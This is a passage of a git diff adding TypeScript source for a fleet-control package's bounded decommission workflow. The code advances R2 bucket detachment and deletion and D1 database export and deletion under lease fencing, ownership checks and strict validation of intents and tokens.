+    actionable?.state === 'detached' || actionable?.state === 'empty-authorized'
+      ? requiredCapability(
+          options.backend.assertApplicationR2Empty,
+          'application-r2-empty',
+        ).bind(options.backend)
+      : undefined;
+  const deleteApplicationR2Bucket =
+    actionable?.state === 'empty' || actionable?.state === 'delete-authorized'
+      ? requiredCapability(
+          options.backend.deleteApplicationR2Bucket,
+          'application-r2-delete',
+        ).bind(options.backend)
+      : undefined;
+  if (actionable) {
+    if (
+      actionable.state === 'created' ||
+      actionable.state === 'detach-authorized'
+    ) {
+      requireCapability(
+        options.backend.advanceDecommissionAttachmentScan,
+        'attachment-scan',
+      );
+    }
+  }
+  const result = await advanceApplicationR2Deletion({
+    spec: options.spec,
+    resources,
+    backend: {
+      ...(findApplicationR2Bucket ? { findApplicationR2Bucket } : {}),
+      ...(assertApplicationR2Empty ? { assertApplicationR2Empty } : {}),
+      ...(deleteApplicationR2Bucket ? { deleteApplicationR2Bucket } : {}),
+    },
+    fence: lease,
+    startResourceIndex: 0,
+  });
+  const clock = options.clock ?? Date.now;
+  if (result.status === 'complete') {
+    return commitRecord(
+      lease,
+      record,
+      intent,
+      clock,
+      {},
+      {
+        state: 'transitioning',
+        lifecyclePhase: 'application-resources-deleted',
+      },
+    );
+  }
+  if (result.status === 'resource-advanced') {
+    return commitRecord(
+      lease,
+      record,
+      intent,
+      clock,
+      { applicationResources: result.resources },
+      { state: 'transitioning' },
+    );
+  }
+  const resource = result.resource;
+  if (resource.creationDate === undefined) malformedResult();
+  const purpose: DecommissionAttachmentPurpose = {
+    kind: 'application-r2-detach',
+    resourceIndex: result.resourceIndex,
+    name: resource.name,
+    bucketName: resource.bucketName,
+    jurisdiction: resource.jurisdiction,
+    reservationNonce: resource.reservationNonce,
+    creationDate: resource.creationDate,
+  };
+  return commitRecord(
+    lease,
+    record,
+    intent,
+    clock,
+    { applicationResources: result.resources },
+    {
+      state: 'discover',
+      purpose,
+      progress: initialWorkerAttachmentScan({
+        kind: 'r2',
+        bucketName: resource.bucketName,
+      }),
+      generation: intent.generation + 1,
+    },
+  );
+}
+
+type ActiveDecommissionIntent = Exclude<
+  DecommissionAdvanceIntent,
+  { readonly state: 'complete' }
+>;
+
+type ScanDecommissionIntent = Extract<
+  DecommissionAdvanceIntent,
+  { readonly state: 'discover' | 'verify' }
+>;
+
+function selectedReceiptAuthority(intent: ActiveDecommissionIntent): string {
+  const authority = intent.databaseExportReceiptAuthority;
+  if (typeof authority !== 'string' || authority.length === 0) {
+    throw new DecommissionAdvanceIntentError();
+  }
+  return authority;
+}
+
+function databasePreDeletePurpose(
+  record: FleetRecord,
+): Extract<
+  DecommissionAttachmentPurpose,
+  { readonly kind: 'database-pre-delete' }
+> {
+  if (
+    !boundedString(record.databaseExportLocation) ||
+    typeof record.databaseExportSha256 !== 'string' ||
+    !SHA256.test(record.databaseExportSha256) ||
+    !Number.isSafeInteger(record.databaseExportSize) ||
+    Number(record.databaseExportSize) < 1
+  ) {
+    throw new DecommissionAdvanceIntentError();
+  }
+  return {
+    kind: 'database-pre-delete',
+    databaseId: record.databaseId,
+    exportLocation: record.databaseExportLocation,
+    exportSha256: record.databaseExportSha256,
+    exportSize: record.databaseExportSize as number,
+  };
+}
+
+async function completeDatabaseDecommission(
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: ActiveDecommissionIntent,
+  clock: () => number,
+): Promise<FleetRecord> {
+  const timestamp = nowIso(clock);
+  const nextRecord: FleetRecord = {
+    ...record,
+    phase: 'decommissioned',
+    updatedAt: timestamp,
+  };
+  const completeIntent: DecommissionAdvanceIntent = {
+    version: 1,
+    operationId: intent.operationId,
+    revision: intent.revision + 1,
+    generation: intent.generation,
+    updatedAt: timestamp,
+    identity: intent.identity,
+    databaseExportReceiptAuthority: selectedReceiptAuthority(intent),
+    lifecyclePhase: 'decommissioned',
+    state: 'complete',
+  };
+  return writeIntent(lease, nextRecord, completeIntent);
+}
+
+async function advanceDatabaseTransition(
+  options: AdvanceDecommissionDeploymentOptions,
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: ActiveDecommissionIntent,
+  receipt: ReceiptCapability,
+): Promise<FleetRecord> {
+  const clock = options.clock ?? Date.now;
+  if (intent.lifecyclePhase === 'application-resources-deleted') {
+    databaseExportReceiptIdentity(
+      record,
+      intent.operationId,
+      receipt.authority,
+      receipt.authority,
+    );
+    await reconcilePersistedDatabase(
+      options.backend,
+      record,
+      false,
+      lease,
+      true,
+    );
+    return commitShellOnly(lease, record, intent, clock, {
+      state: 'discover',
+      databaseExportReceiptAuthority: receipt.authority,
+      purpose: { kind: 'database-pre-export', databaseId: record.databaseId },
+      progress: initialWorkerAttachmentScan({
+        kind: 'd1',
+        databaseId: record.databaseId,
+      }),
+      generation: intent.generation + 1,
+    });
+  }
+  if (intent.lifecyclePhase === 'database-exported') {
+    await reconcilePersistedDatabase(
+      options.backend,
+      record,
+      false,
+      lease,
+      true,
+    );
+    const purpose = databasePreDeletePurpose(record);
+    return commitShellOnly(lease, record, intent, clock, {
+      state: 'discover',
+      purpose,
+      progress: initialWorkerAttachmentScan({
+        kind: 'd1',
+        databaseId: record.databaseId,
+      }),
+      generation: intent.generation + 1,
+    });
+  }
+  if (intent.lifecyclePhase === 'database-deleting') {
+    const database = await reconcilePersistedDatabase(
+      options.backend,
+      record,
+      true,
+      lease,
+      true,
+    );
+    if (!database) {
+      return completeDatabaseDecommission(lease, record, intent, clock);
+    }
+    const purpose = databasePreDeletePurpose(record);
+    return commitShellOnly(lease, record, intent, clock, {
+      state: 'discover',
+      purpose,
+      progress: initialWorkerAttachmentScan({
+        kind: 'd1',
+        databaseId: record.databaseId,
+      }),
+      generation: intent.generation + 1,
+    });
+  }
+  throw new Error(
+    `unsupported bounded decommission database lifecycle '${intent.lifecyclePhase}'`,
+  );
+}
+
+async function consumeDatabaseVerify(
+  options: AdvanceDecommissionDeploymentOptions,
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: Extract<DecommissionAdvanceIntent, { readonly state: 'verify' }>,
+  receipt: ReceiptCapability,
+): Promise<FleetRecord> {
+  const allowAbsent = intent.lifecyclePhase === 'database-deleting';
+  const database = await reconcilePersistedDatabase(
+    options.backend,
+    record,
+    allowAbsent,
+    lease,
+    true,
+  );
+  const clock = options.clock ?? Date.now;
+  if (!database) {
+    return completeDatabaseDecommission(lease, record, intent, clock);
+  }
+  const residual = requiredCapability(
+    options.backend.assertDatabaseDeletionResidualsRemoved,
+    'database-residuals',
+  ).bind(options.backend);
+  await residual(options.spec, record, database, lease);
+  if (intent.purpose.kind === 'database-pre-export') {
+    await lease.assertOwned();
+    const identity = databaseExportReceiptIdentity(
+      record,
+      intent.operationId,
+      selectedReceiptAuthority(intent),
+      receipt.authority,
+    );
+    const raw: unknown = await receipt.exportReceipt(identity, lease);
+    const exported = databaseExportFromUnknown(raw, record.databaseId);
+    return commitRecord(
+      lease,
+      record,
+      intent,
+      clock,
+      {
+        databaseExportLocation: exported.location,
+        databaseExportSha256: exported.sha256,
+        databaseExportSize: exported.size,
+      },
+      { state: 'transitioning', lifecyclePhase: 'database-exported' },
+    );
+  }
+  if (intent.purpose.kind !== 'database-pre-delete') {
+    return malformedResult();
+  }
+  const barrier = await commitRecord(
+    lease,
+    record,
+    intent,
+    clock,
+    {},
+    { state: 'transitioning', lifecyclePhase: 'database-deleting' },
+  );
+  return settleDatabaseDeletionUnderBarrier({
+    lease,
+    databaseId: record.databaseId,
+    barrier,
+    deleteDatabase: () => options.backend.deleteDatabase(database, lease),
+    readDatabase: () => options.backend.getDatabase(record.databaseId),
+  });
+}
+
+async function advanceAttachmentScan(
+  options: AdvanceDecommissionDeploymentOptions,
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: ScanDecommissionIntent,
+  receipt: ReceiptCapability,
+): Promise<FleetRecord> {
+  let inspectionBackend:
+    | Readonly<{
+        findApplicationR2Bucket: NonNullable<
+          ProvisioningBackend['findApplicationR2Bucket']
+        >;
+      }>
+    | undefined;
+  if (intent.purpose.kind === 'application-r2-detach') {
+    const resource =
+      record.applicationResources?.[intent.purpose.resourceIndex];
+    if (!resource) malformedResult();
+    assertApplicationR2ReservationIdentity(options.spec, resource);
+    const findApplicationR2Bucket = requiredCapability(
+      options.backend.findApplicationR2Bucket,
+      'application-r2-inspection',
+    ).bind(options.backend);
+    inspectionBackend = { findApplicationR2Bucket };
+    const preflight = await advanceApplicationR2Deletion({
+      spec: options.spec,
+      resources: record.applicationResources ?? [],
+      backend: inspectionBackend,
+      fence: lease,
+      startResourceIndex: 0,
+    });
+    if (
+      preflight.status !== 'detachment-required' ||
+      preflight.resourceIndex !== intent.purpose.resourceIndex
+    ) {
+      malformedResult();
+    }
+  } else {
+    const database = await reconcilePersistedDatabase(
+      options.backend,
+      record,
+      intent.lifecyclePhase === 'database-deleting',
+      lease,
+      true,
+    );
+    if (!database) {
+      return completeDatabaseDecommission(
+        lease,
+        record,
+        intent,
+        options.clock ?? Date.now,
+      );
+    }
+  }
+  const scan = requiredCapability(
+    options.backend.advanceDecommissionAttachmentScan,
+    'attachment-scan',
+  ).bind(options.backend);
+  const clock = options.clock ?? Date.now;
+  return advanceDecommissionAttachmentScanStep({
+    intent,
+    scan,
+    maxProviderRequests: options.maxProviderRequests,
+    signal: options.signal,
+    persist: (transition) =>
+      commitShellOnly(lease, record, intent, clock, transition),
+    consumeMatchingVerify: async ({ intent: verified }) => {
+      if (verified.purpose.kind !== 'application-r2-detach') {
+        return consumeDatabaseVerify(options, lease, record, verified, receipt);
+      }
+      await lease.assertOwned();
+      const detached = await advanceApplicationR2Deletion({
+        spec: options.spec,
+        resources: record.applicationResources ?? [],
+        backend: inspectionBackend as NonNullable<typeof inspectionBackend>,
+        fence: lease,
+        startResourceIndex: 0,
+        verifiedDetachmentResourceIndex: verified.purpose.resourceIndex,
+      });
+      if (
+        detached.status !== 'resource-advanced' ||
+        detached.resourceIndex !== verified.purpose.resourceIndex ||
+        detached.resources[detached.resourceIndex]?.state !== 'detached'
+      ) {
+        return malformedResult();
+      }
+      return commitRecord(
+        lease,
+        record,
+        verified,
+        clock,
+        { applicationResources: detached.resources },
+        { state: 'transitioning' },
+      );
+    },
+  });
+}
+
+function startRecord(
+  record: FleetRecord,
+  spec: DeploymentSpec,
+  operationId: string,
+  timestamp: string,
+): FleetRecord {
+  const currentPhase = effectiveLifecyclePhase(record);
+  if (
+    !NORMAL_ENTRY_PHASES.has(currentPhase as NormalDecommissionLifecyclePhase)
+  ) {
+    throw new Error(
+      `cannot start bounded decommission in phase '${currentPhase}'`,
+    );
+  }
+  const lifecyclePhase = currentPhase as NormalDecommissionLifecyclePhase;
+  const source: FleetRecord = {
+    ...record,
+    phase: 'decommission-advancing',
+    updatedAt: timestamp,
+  };
+  const intent: DecommissionAdvanceIntent = {
+    version: 1,
+    operationId,
+    revision: 0,
+    generation: 0,
+    updatedAt: timestamp,
+    identity: {
+      record: {
+        tenantTag: record.tenantTag,
+        environment: record.environment,
+        backend: record.backend,
+        scriptName: record.scriptName,
+        databaseId: record.databaseId,
+        databaseName: record.databaseName,
+        routeHostname: record.routeHostname,
+      },
+      mode: {
+        kind: 'normal',
+        requestedSpecDigest: deploymentSpecDigest(spec),
+        entryLifecyclePhase: lifecyclePhase,
+      },
+    },
+    lifecyclePhase,
+    state: 'transitioning',
+  };
+  return {
+    ...source,
+    decommissionIntent: normalizeIntent(intent, source),
+  };
+}
+
+async function advanceUnderLease(
+  options: AdvanceDecommissionDeploymentOptions,
+  action: DecommissionAdvanceAction,
+  parsedToken: DecommissionAdvanceToken | undefined,
+  lease: FleetStateLease,
+): Promise<DecommissionAdvanceResult> {
+  const { backend, spec, store } = options;
+  let record = await store.get(spec.tenantTag, spec.environment);
+  if (!record) {
+    if (action.kind === 'start')
+      throw new Error('deployment is not registered');
+    throw new DecommissionAdvanceTokenOperationError();
+  }
+  // Admission-path guard only: continue/restart against a cleanup-advancing
+  // row already fails token classification (no decommission intent exists).
+  if (action.kind === 'start') {
+    assertNoActiveCleanup(record, 'advanceDecommissionDeployment');
+  }
+  const intent = record.decommissionIntent
+    ? normalizeDecommissionAdvanceIntent(
+        record.decommissionIntent,
+        omitIntent(record),
+      )
+    : undefined;
+  if (action.kind === 'start' && intent) {
+    assertNormalAuthority(record, backend, spec, intent);
+    if (
+      intent.state !== 'blocked' &&
+      intent.state !== 'complete' &&
+      intent.databaseExportReceiptAuthority !== undefined
+    ) {
+      assertNormalDecommissionD1ResourcesDeleted(record);
+      const receipt = receiptCapability(backend);
+      databaseExportReceiptIdentity(
+        record,
+        intent.operationId,
+        selectedReceiptAuthority(intent),
+        receipt.authority,
+      );
+    }
+    return authoritativeResult({ ...record, decommissionIntent: intent });
+  }
+  if (action.kind === 'start') {
+    assertNormalAuthority(record, backend, spec);
+    assertSupportedEntryLifecycle(record);
+    if (effectiveLifecyclePhase(record) === 'application-resources-deleted') {
+      assertNormalDecommissionD1ResourcesDeleted(record);
+    }
+    validateReservations(spec, record);
+    const resources = record.applicationResources ?? [];
+    assertCompleteApplicationR2Reservations(resources);
+    requireStartCapabilities(backend, resources);
+    const receipt = receiptCapability(backend);
+    const operationId = options.randomUUID();
+    parseDecommissionAdvanceToken({
+      version: 1,
+      tenantTag: spec.tenantTag,
+      environment: spec.environment,
+      operationId,
+      revision: 0,
+    });
+    databaseExportReceiptIdentity(
+      record,
+      operationId,
+      receipt.authority,
+      receipt.authority,
+    );
+    record = startRecord(
+      record,
+      spec,
+      operationId,
+      nowIso(options.clock ?? Date.now),
+    );
+    await lease.put(record);
+    return authoritativeResult(record);
+  }
+  if (!parsedToken || !intent) {
+    throw new DecommissionAdvanceTokenOperationError();
+  }
+  record = { ...record, decommissionIntent: intent };
+  const classification = classifyDecommissionAdvanceToken(parsedToken, record);
+  if (classification === 'stale') return authoritativeResult(record);
+  if (action.kind === 'restart-blocked') {
+    if (intent.state !== 'blocked') throw new DecommissionAdvanceRestartError();
+    assertNormalAuthority(record, backend, spec, intent);
+    assertCompleteApplicationR2Reservations(record.applicationResources ?? []);
+    if (intent.purpose.kind !== 'application-r2-detach') {
+      assertNormalDecommissionD1ResourcesDeleted(record);
+    }
+    const receipt = receiptCapability(backend);
+    if (intent.purpose.kind !== 'application-r2-detach') {
+      databaseExportReceiptIdentity(
+        record,
+        intent.operationId,
+        selectedReceiptAuthority(intent),
+        receipt.authority,
+      );
+    }
+    requireCapability(
+      backend.advanceDecommissionAttachmentScan,
+      'attachment-scan',
+    );
+    if (intent.purpose.kind === 'application-r2-detach') {
+      const resource =
+        record.applicationResources?.[intent.purpose.resourceIndex];
+      if (!resource) malformedResult();
+      assertApplicationR2ReservationIdentity(spec, resource);
+      if (intent.purpose.resourceIndex > 0) {
+        const findApplicationR2Bucket = requiredCapability(
+          backend.findApplicationR2Bucket,
+          'application-r2-inspection',
+        ).bind(backend);
+        const prefix = await advanceApplicationR2Deletion({
+          spec,
+          resources:
+            record.applicationResources?.slice(
+              0,
+              intent.purpose.resourceIndex,
+            ) ?? [],
+          backend: { findApplicationR2Bucket },
+          fence: lease,
+          startResourceIndex: 0,
+        });
+        if (prefix.status !== 'complete') malformedResult();
+      }
+    }
+    record = await commitShellOnly(
+      lease,
+      record,
+      intent,
+      options.clock ?? Date.now,
+      {
+        state: 'discover',
+        purpose: intent.purpose,
+        progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)),
+        generation: intent.generation + 1,
+      },
+    );
+    return authoritativeResult(record);
+  }
+  if (intent.state === 'blocked' || intent.state === 'complete') {
+    return authoritativeResult(record);
+  }
+  assertNormalAuthority(record, backend, spec, intent);
+  assertCompleteApplicationR2Reservations(record.applicationResources ?? []);
+  const isD1Action = intent.databaseExportReceiptAuthority !== undefined;
+  if (isD1Action || intent.lifecyclePhase === 'application-resources-deleted') {
+    assertNormalDecommissionD1ResourcesDeleted(record);
+  }
+  const receipt = receiptCapability(backend);
+  if (isD1Action) {
+    databaseExportReceiptIdentity(
+      record,
+      intent.operationId,
+      selectedReceiptAuthority(intent),
+      receipt.authority,
+    );
+  }
+  if (intent.state === 'discover' || intent.state === 'verify') {
+    record = await advanceAttachmentScan(
+      options,
+      lease,
+      record,
+      intent,
+      receipt,
+    );
+  } else if (intent.lifecyclePhase === 'application-resources-deleting') {
+    record = await advanceR2Transition(options, lease, record, intent);
+  } else if (
+    intent.lifecyclePhase === 'application-resources-deleted' ||
+    intent.lifecyclePhase === 'database-exported' ||
+    intent.lifecyclePhase === 'database-deleting'
+  ) {
+    record = await advanceDatabaseTransition(
+      options,
+      lease,
+      record,
+      intent,
+      receipt,
+    );
+  } else {
+    record = await advanceLifecycle(options, lease, record, intent);
+  }
+  return authoritativeResult(record);
+}
+
+/**
+ * Starts, reads, or advances one normal decommission operation.
+ *
+ * One call performs at most one bounded scan or lifecycle/resource action group.
+ */
+export async function advanceDecommissionDeployment(
+  options: AdvanceDecommissionDeploymentOptions,
+): Promise<DecommissionAdvanceResult> {
+  validateDeploymentSpec(options.spec);
+  assertWorkerAttachmentProviderRequestBudget(options.maxProviderRequests);
+  const action = decommissionAdvanceActionFromUnknown(options.action);
+  if (typeof options.randomUUID !== 'function') {
+    throw new Error(
+      'advanceDecommissionDeployment requires a randomUUID function',
+    );
+  }
+  const parsedToken =
+    action.kind === 'start'
+      ? undefined
+      : parseDecommissionAdvanceToken(action.token);
+  if (
+    parsedToken &&
+    (parsedToken.tenantTag !== options.spec.tenantTag ||
+      parsedToken.environment !== options.spec.environment)
+  ) {
+    throw new DecommissionAdvanceTokenDeploymentError();
+  }
+  return options.store.withDeploymentLease(
+    options.spec.tenantTag,
+    options.spec.environment,
+    (lease) => advanceUnderLease(options, action, parsedToken, lease),
+  );
+}
diff --git a/packages/fleet-control/src/decommission-database.ts b/packages/fleet-control/src/decommission-database.ts
new file mode 100644
index 00000000..4acea933
--- /dev/null
+++ b/packages/fleet-control/src/decommission-database.ts
@@ -0,0 +1,208 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { databaseExportReceiptIdentityFromUnknown } from './database-export-store.js';
+import { cloneBoundedPlainData } from './strict-plain-data.js';
+import type {
+  DatabaseExport,
+  DatabaseExportReceiptIdentity,
+  DatabaseReference,
+  ExternalMutationFence,
+  FleetRecord,
+} from './types.js';
+
+const DATABASE_EXPORT_RESULT_ERROR =
+  'bounded decommission database export result is malformed';
+const DATABASE_REFERENCE_ERROR = 'persisted database reference is malformed';
+const DATABASE_OWNER_ERROR = 'persisted database owner is malformed';
+const STRING_BYTE_BOUND = 4_096;
+const RESULT_PLAIN_DATA_DEPTH_BOUND = 64;
+const RESULT_PLAIN_DATA_NODE_BOUND = 8_192;
+const RESULT_PLAIN_DATA_BYTE_BOUND = 96 * 1_024;
+const DATABASE_REFERENCE_NODE_BOUND = 8;
+const DATABASE_REFERENCE_BYTE_BOUND = 16_384;
+const SHA256 = /^[0-9a-f]{64}$/u;
+const STRUCTURED_CLONE = structuredClone;
+
+type Settlement<Value> =
+  | Readonly<{ status: 'fulfilled'; value: Value }>
+  | Readonly<{ status: 'rejected'; reason: unknown }>;
+
+async function settleOperation<Value>(
+  operation: () => Promise<Value>,
+): Promise<Settlement<Value>> {
+  try {
+    return { status: 'fulfilled', value: await operation() };
+  } catch (reason) {
+    return { status: 'rejected', reason };
+  }
+}
+
+function boundedString(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    value.length > 0 &&
+    value.length <= STRING_BYTE_BOUND &&
+    new TextEncoder().encode(value).byteLength <= STRING_BYTE_BOUND
+  );
+}
+
+/** @internal Callback contract for provider-neutral persisted-D1 validation. */
+export interface ReconcilePersistedDatabaseFromCallbacksOptions {
+  readonly getDatabase: (databaseId: string) => Promise<unknown>;
+  /** Required when `requireOwner` is true; otherwise it is not called. */
+  readonly readOwner?: (
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ) => Promise<unknown>;
+  readonly record: Pick<
+    FleetRecord,
+    'databaseId' | 'databaseName' | 'tenantTag'
+  >;
+  readonly allowAbsent: boolean;
+  readonly requireOwner: boolean;
+  readonly fence: ExternalMutationFence;
+}
+
+/** @internal Reconciles one persisted database through provider-neutral callbacks. */
+export async function reconcilePersistedDatabaseFromCallbacks(
+  options: ReconcilePersistedDatabaseFromCallbacksOptions,
+): Promise<(DatabaseReference & { readonly created: false }) | undefined> {
+  const rawDatabase = await options.getDatabase(options.record.databaseId);
+  if (rawDatabase === undefined) {
+    if (options.allowAbsent) return undefined;
+    throw new Error(
+      `persisted database '${options.record.databaseId}' is absent`,
+    );
+  }
+  let plainDatabase: unknown;
+  try {
+    plainDatabase = cloneBoundedPlainData(rawDatabase, {
+      maxDepth: 1,
+      maxNodes: DATABASE_REFERENCE_NODE_BOUND,
+      maxScalarBytes: DATABASE_REFERENCE_BYTE_BOUND,
+      maxSerializedBytes: DATABASE_REFERENCE_BYTE_BOUND,
+      error: () => new Error(DATABASE_REFERENCE_ERROR),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [rawDatabase]);
+  } catch {
+    throw new Error(DATABASE_REFERENCE_ERROR);
+  }
+  if (
+    !plainDatabase ||
+    typeof plainDatabase !== 'object' ||
+    Array.isArray(plainDatabase)
+  ) {
+    throw new Error(DATABASE_REFERENCE_ERROR);
+  }
+  const candidate = plainDatabase as Record<string, unknown>;
+  if (
+    !boundedString(candidate.id) ||
+    !boundedString(candidate.name) ||
+    candidate.created !== false
+  ) {
+    throw new Error(DATABASE_REFERENCE_ERROR);
+  }
+  const database = {
+    id: candidate.id,
+    name: candidate.name,
+    created: false as const,
+  };
+  if (
+    database.id !== options.record.databaseId ||
+    database.name !== options.record.databaseName
+  ) {
+    throw new Error(
+      `persisted database '${options.record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}'`,
+    );
+  }
+  if (options.requireOwner) {
+    if (!options.readOwner) throw new Error(DATABASE_OWNER_ERROR);
+    const owner = await options.readOwner(database, options.fence);
+    if (owner !== undefined && !boundedString(owner)) {
+      throw new Error(DATABASE_OWNER_ERROR);
+    }
+    if (owner !== options.record.tenantTag) {
+      throw new Error(
+        `refusing database operation for '${database.id}' owned by '${owner ?? 'no deployment'}'`,
+      );
+    }
+  }
+  return database;
+}
+
+/** @internal Reconstructs a bounded export result for the expected database. */
+export function databaseExportFromUnknown(
+  value: unknown,
+  databaseId: string,
+): DatabaseExport {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: RESULT_PLAIN_DATA_DEPTH_BOUND,
+      maxNodes: RESULT_PLAIN_DATA_NODE_BOUND,
+      maxScalarBytes: RESULT_PLAIN_DATA_BYTE_BOUND,
+      maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND,
+      error: () => new Error(DATABASE_EXPORT_RESULT_ERROR),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    throw new Error(DATABASE_EXPORT_RESULT_ERROR);
+  }
+  if (!plain || typeof plain !== 'object' || Array.isArray(plain)) {
+    throw new Error(DATABASE_EXPORT_RESULT_ERROR);
+  }
+  const candidate = plain as Record<string, unknown>;
+  if (
+    candidate.databaseId !== databaseId ||
+    !boundedString(candidate.location) ||
+    !Number.isSafeInteger(candidate.size) ||
+    Number(candidate.size) < 1 ||
+    typeof candidate.sha256 !== 'string' ||
+    !SHA256.test(candidate.sha256)
+  ) {
+    throw new Error(DATABASE_EXPORT_RESULT_ERROR);
+  }
+  return {
+    databaseId,
+    location: candidate.location,
+    size: Number(candidate.size),
+    sha256: candidate.sha256,
+  };
+}
+
+/** @internal Constructs the canonical receipt identity for one operation. */
+export function databaseExportReceiptIdentity(
+  record: Pick<FleetRecord, 'databaseId'>,
+  operationId: string,
+  authority: string,
+  expectedAuthority: string,
+): DatabaseExportReceiptIdentity {
+  return databaseExportReceiptIdentityFromUnknown(
+    {
+      version: 1,
+      authority,
+      databaseId: record.databaseId,
+      operationId,
+    },
+    expectedAuthority,
+  );
+}
+
+/** @internal Settles a fenced deletion and readback under a durable barrier. */
+export async function settleDatabaseDeletionUnderBarrier<Barrier>(options: {
+  readonly lease: Pick<ExternalMutationFence, 'assertOwned'>;
+  readonly databaseId: string;
+  readonly barrier: Barrier;
+  readonly deleteDatabase: () => Promise<void>;
+  readonly readDatabase: () => Promise<unknown>;
+}): Promise<Barrier> {
+  await options.lease.assertOwned();
+  const deletion = await settleOperation(options.deleteDatabase);
+  await options.lease.assertOwned();
+  const readback = await settleOperation(options.readDatabase);
+  await options.lease.assertOwned();
+  if (readback.status === 'rejected') throw readback.reason;
+  if (readback.value === undefined) return options.barrier;
+  if (deletion.status === 'rejected') throw deletion.reason;
+  throw new Error(`database '${options.databaseId}' remains after deletion`);
+}
diff --git a/packages/fleet-control/src/decommission-intent.ts b/packages/fleet-control/src/decommission-intent.ts
new file mode 100644
index 00000000..84224c3b
--- /dev/null
+++ b/packages/fleet-control/src/decommission-intent.ts
@@ -0,0 +1,867 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  parseWorkerAttachmentScanProgress,
+  WORKER_ATTACHMENT_EVIDENCE_BOUND,
+  type WorkerAttachmentScanTarget,
+} from './cloudflare-worker-attachment-scan-state.js';
+import { cloneBoundedPlainData } from './strict-plain-data.js';
+import type {
+  BackendSwitchIntent,
+  BackendSwitchSubphase,
+  DecommissionAdvanceIntent,
+  DecommissionAdvanceToken,
+  DecommissionAdvanceTokenClassification,
+  DecommissionAttachmentProgress,
+  DecommissionAttachmentPurpose,
+  DecommissionBlockedAttachment,
+  DecommissionIntentCommon,
+  DecommissionOperationIdentity,
+  DecommissionOperationMode,
+  DecommissionRecordIdentity,
+  FleetRecord,
+  NormalDecommissionLifecyclePhase,
+} from './types.js';
+import {
+  applicationR2ResourceFromProgress,
+  BACKEND_SWITCH_SUBPHASES,
+  isPlatformCatalogRecord,
+  RETIRED_BACKEND_SWITCH_SUBPHASE,
+} from './types.js';
+
+export const DECOMMISSION_INTENT_BYTE_BOUND = 96 * 1024;
+const TOKEN_BYTE_BOUND = 1024;
+const STRING_BYTE_BOUND = 4096;
+const DEPTH_BOUND = 64;
+const NODE_BOUND = 8192;
+const SHA256 = /^[0-9a-f]{64}$/u;
+const UUID_V4 =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u;
+const STRUCTURED_CLONE = structuredClone;
+
+const INITIAL_PHASES = new Set<NormalDecommissionLifecyclePhase>([
+  'publishing',
+  'ready',
+  'migrating',
+  'rolling-back',
+]);
+const TEARDOWN_PHASES = [
+  'decommissioning',
+  'traffic-removed',
+  'credentials-revoked',
+  'worker-deleted',
+  'platform-credentials-revoked',
+  'platform-resources-deleted',
+  'application-resources-deleting',
+  'application-resources-deleted',
+  'database-exported',
+  'database-deleting',
+] as const satisfies readonly NormalDecommissionLifecyclePhase[];
+const LIFECYCLE_PHASES = new Set<NormalDecommissionLifecyclePhase>([
+  ...INITIAL_PHASES,
+  ...TEARDOWN_PHASES,
+]);
+
+export class DecommissionAdvanceIntentError extends Error {
+  constructor() {
+    super('decommission advance intent is malformed');
+    this.name = 'DecommissionAdvanceIntentError';
+  }
+}
+
+export class DecommissionAdvanceTokenError extends Error {
+  constructor() {
+    super('decommission advance token is malformed');
+    this.name = 'DecommissionAdvanceTokenError';
+  }
+}
+
+export class DecommissionAdvanceTokenFutureError extends Error {
+  constructor() {
+    super('decommission advance token is from the future');
+    this.name = 'DecommissionAdvanceTokenFutureError';
+  }
+}
+
+export class DecommissionAdvanceTokenDeploymentError extends Error {
+  constructor() {
+    super('decommission advance token targets another deployment');
+    this.name = 'DecommissionAdvanceTokenDeploymentError';
+  }
+}
+
+export class DecommissionAdvanceTokenOperationError extends Error {
+  constructor() {
+    super('decommission advance token targets another operation');
+    this.name = 'DecommissionAdvanceTokenOperationError';
+  }
+}
+
+function malformed(): never {
+  throw new DecommissionAdvanceIntentError();
+}
+
+function plainRecord(value: unknown): Record<string, unknown> {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) {
+    return malformed();
+  }
+  return value as Record<string, unknown>;
+}
+
+function exactKeys(
+  value: Record<string, unknown>,
+  required: readonly string[],
+): void {
+  const keys = Object.keys(value).sort();
+  const expected = [...required].sort();
+  if (
+    keys.length !== expected.length ||
+    keys.some((key, index) => key !== expected[index])
+  ) {
+    malformed();
+  }
+}
+
+function boundedString(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    value.length > 0 &&
+    value.length <= STRING_BYTE_BOUND &&
+    new TextEncoder().encode(value).byteLength <= STRING_BYTE_BOUND
+  );
+}
+
+function safeIntegerAtLeast(value: unknown, minimum = 0): value is number {
+  return Number.isSafeInteger(value) && Number(value) >= minimum;
+}
+
+function sha256(value: unknown): value is string {
+  return typeof value === 'string' && SHA256.test(value);
+}
+
+function canonicalIso(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    Number.isFinite(Date.parse(value)) &&
+    new Date(value).toISOString() === value
+  );
+}
+
+function assertApplicationResourcesDeleted(
+  source: Pick<FleetRecord, 'applicationResources'>,
+): void {
+  if (
+    (source.applicationResources ?? []).some(
+      (resource) => resource.state !== 'deleted',
+    )
+  ) {
+    malformed();
+  }
+}
+
+function parseRecordIdentity(
+  value: unknown,
+  source: FleetRecord,
+): DecommissionRecordIdentity {
+  const candidate = plainRecord(value);
+  exactKeys(candidate, [
+    'tenantTag',
+    'environment',
+    'backend',
+    'scriptName',
+    'databaseId',
+    'databaseName',
+    'routeHostname',
+  ]);
+  const identity = {
+    tenantTag: candidate.tenantTag,
+    environment: candidate.environment,
+    backend: candidate.backend,
+    scriptName: candidate.scriptName,
